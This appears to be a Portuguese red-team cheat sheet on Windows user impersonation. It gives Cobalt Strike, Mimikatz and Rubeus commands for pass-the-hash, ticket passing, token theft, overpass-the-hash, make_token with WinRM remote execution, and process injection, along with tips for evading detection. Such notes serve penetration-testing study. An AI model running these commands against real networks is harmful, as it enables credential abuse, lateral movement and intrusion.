# User Impersonation

### Pass the Hash

O Impersonation (personificação) serve para se passar por outro usuário. Com o comando abaixo iremos fazer um impersonate, porém se executarmos o `getuid`, ainda irá mostrar o usuário atual, porém as permissões foram alteradas. Para realizar esse passo, é necessário ter privilégios elevados.

```bash
pth DOMAIN\<user> <hash-ntlm>
```

Semelhante a forma demonstrada acima, porém de uma maneira mais stealth, útil para bypassar mecanismos de segurança.

```bash
mimikatz sekurlsa::pth /user:"<user>" /domain:"<SUBDOMAIN>" /ntlm:<ntlm-hash> /run:notepad.exe
 # Valor do PID está na saída do comando acima
steal_token <PID>
```

Para desfazer o Impersonate (dessa e das demais maneiras), execute:

```bash
rev2self
```

###

### Pass the Ticket

#### Maneira 1

Após executar um `ps` ou `powershell ps` e pegarmos o PID de um processo que esteja sendo utilizado pelo usuário alvo, iremos executar o seguinte comando:

```bash
token-store steal <PID>
```

Para listar todos os PIDs, execute:

```bash
token-store show
```

E para utilizar o token (fazer o impersonate de fato), execute o comando abaixo, alterando o `<id-token>` pelo ID listado na saída do comando acimatie

```bash
token-store use <id-token>
```

Para sair im impersonate e voltar a utilizar o usuário anterior, execute:

```bash
rev2self
```

Note que isso ainda manterá o token na lista de tokens roubados, porém não em uso. Para de fato remover da lista, é necessário executar o seguinte comando:

```bash
token-store remove <id>
```

Se quiser remover todos os tokens de uma só vez, execute:

```bash
token-store remove-all
```

#### Maneira 2

Criando um logon em branco e também um LUID, que deve ser anotado para utilizarmos futuramente.

```bash
execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe

# Deixando o comando mais realista para não levantar suspeitas
execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<domain.local> /username:<user> /password:<fake-pass>
```

Dessa forma que criamos, não temos um ticket dentro, portanto ainda não estará visível na triagem (`triage`). A próxima etapa é passar o TGT para este novo LUID que criamos e faremos isso utilizando o comando `ptt` do Rubeus. No comando abaixo, altere o valor de `/luid` para o novo LUID que acabamos de criar (comando acima) e `/ticket` será o ticket codificado em base64 que já foi extraído anteriormente na sessão `Credential Theft (Roubo de Credenciais) - Extraindo Tickets Kerberos`, que deve ser de algum usuário da rede.

```bash
execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> ptt /luid:<LUID-criado> /ticket:<ticket-base64>
```

Note que agora já podemos ver nosso LUID na triagem

```bash
execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage
```

Feito isso, agora precisamos dar o último passo, que consiste em personificar o processo que criamos com `createonly`. Para isso, precisamos do PID do processo alvo, porém utilize um PID que pertença ao usuário alvo (utilize um cmd com privilégios para procurar por isso). Por algum motivo, o comando `ps` não conseguiu visualizar os PIDs de outros usuários, mesmo com privilégios elevados. Isso com certeza merece um ponto de atenção.

```bash
steal_token <PID>
```

Finalizado o Impersonate. Utilize os comandos abaixo para desfazer a personificação.

```bash
rev2self
kill <PID>
```

###

### Overpass the Hash

Overpass the hash é uma técnica que nos permite solicitar um Kerberos TGT para um usuário, utilizando seu hash NTLM ou AES. Privilégios elevados são necessários para obter hashes de usuário, mas não para realmente solicitar um ticket. Rubeus pode nos ajudar nessa missão.

```bash
execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user> /ntlm:<hash-ntlm> /nowrap
```

Este TGT pode então ser aproveitado através do Pass the Ticket.



### Make Token

Para realizar esse tipo de personificação, é necessário saber o nome do Domínio, usuário e senha

```bash
make_token <DOMAIN>\<user> <pass>
```

Podemos agora por exemplo, executar comandos remotos em outros hosts, através do usuário atual

```bash
remote-exec winrm <host.domain.local> <command>
```

Para sair do Impersonate e voltar a utilizar o usuário anterior, execute:

```bash
rev2self
```

### Process Injection

A injeção de processo (Process Injection) nos permite injetar shellcode arbitrário em um processo de nossa escolha. Você só pode injetar em processos que você possa obter com privilégios suficientes para gravar em sua memória. Quando estamos em contexto elevado, isto inclui processos pertencentes a outros utilizadores.

O Beacon possui dois comandos principais de injeção:

* `shinject` = Permite injetar qualquer shellcode arbitrário de um arquivo binário em sua máquina atacante
* `inject` = Injetará uma carga completa do Beacon para o listener especificado

Vamos imaginar um cenário onde temos acesso privilegiado no Windows, e temos um usuário que possui um processo utilizando o PID 5489. Para realizar uma injeção e abrirmos um Beacon em nome desse usuário, devemos executar o comando abaixo, alterando o PID e a arquitetura, caso seja necessario.

```bash
inject <5489> x64 tcp-local
```



### Mimikatz

Abrindo `cmd.exe` em nome de outro usuário

```bash
.\mimikatz.exe
privilege::debug
sekurlsa::pth /domain:<SUBDOMAIN> /user:<user> /ntlm:<hash-ntlm> /run:cmd.exe
```
